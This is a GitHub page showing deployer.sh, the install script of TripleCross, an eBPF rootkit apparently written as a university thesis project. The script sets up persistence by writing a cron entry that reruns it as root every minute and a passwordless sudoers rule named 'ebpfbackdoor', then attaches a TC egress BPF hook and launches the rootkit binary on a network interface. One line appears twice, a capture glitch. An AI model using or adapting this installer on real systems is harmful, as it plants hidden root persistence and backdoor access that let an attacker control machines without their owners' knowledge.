

Files

1262955

Go to file

apps

docs

src

.gitignore

LICENSE

README.md

.gitkeep

deployer.sh

execve_hijack

injection_lib.so

injector

kit

mycert.pem

simple_open

simple_timer

tc.o

TripleCross / apps / deployer.sh

h3xduck Added multiple small changes to client and code, submit... bfcfcf · 2 years ago History

Code Blame Executable File · 66 lines (58 loc) · 1.89 KB Raw Copy Download Toggle

```
1  #!/bin/bash
2  #set -x
3
4  ## Constants declaration
5  #The current directory full path
6  declare -r DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
7  #The location of the file where to write the full rootkit package
8  declare -r BASEDIR="/home/osboxes/TFG/apps"
9  #A variable to determine whether to silence output of internal commands
10 declare firstvar=$1
11
12 RED='\033[0;31m'
13 BLU='\033[0;34m'
14 GRN='\033[0;32m'
15 NC='\033[0m' # No Color
16
17 ## A simple function to wait for input
18 waitForInput(){
19     if [ "$press_key_to_continue" = true ]; then
20         echo "Completed. Press any key to continue"
21         while [ true ] ;
22         do
23             read -t 3 -n 1
24             if [ $? = 0 ] ; then
25                 return ;
26             fi
27         done
28     fi
29 }
30
31 #A simple function to silence output
32 quiet(){
33     if [ "$firstvar" == "quiet" ]; then
34         "$@" > /dev/null
35     else
36         "$@"
37     fi
38 }
39
40 #Start of script
41 echo "*****\n"
42 echo "***** TripleCross *****\n"
43 echo "*****\n"
44 echo "***** Marcos Sánchez Bajo *****\n"
45 echo "*****\n"
46 echo ""
47
48 ## Persistence
49 declare CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
50 declare SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
51 echo "$CRON_PERSIST" > /etc/cron.d/ebpfbackdoor
52 echo "$SUDO_PERSIST" > /etc/sudoers.d/ebpfbackdoor
53
54 # Rootkit install
55 OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
56 if [[ $OUTPUT_COMM == *"xdp"* ]]; then
57     echo "Rootkit is already installed"
```

```
57         echo "rootkit is already installed"
58     else
59         #Install the programs
60         echo -e "${BLU}Installing TC hook${NC}"
61         /bin/sudo tc qdisc del dev enp0s3 clsact
62         /bin/sudo tc qdisc add dev enp0s3 clsact
63         /bin/sudo tc filter add dev enp0s3 egress bpf direct-action obj "$BASEDIR"/tc.o sec
64         /bin/sudo "$BASEDIR"/kit -t enp0s3
65     fi
```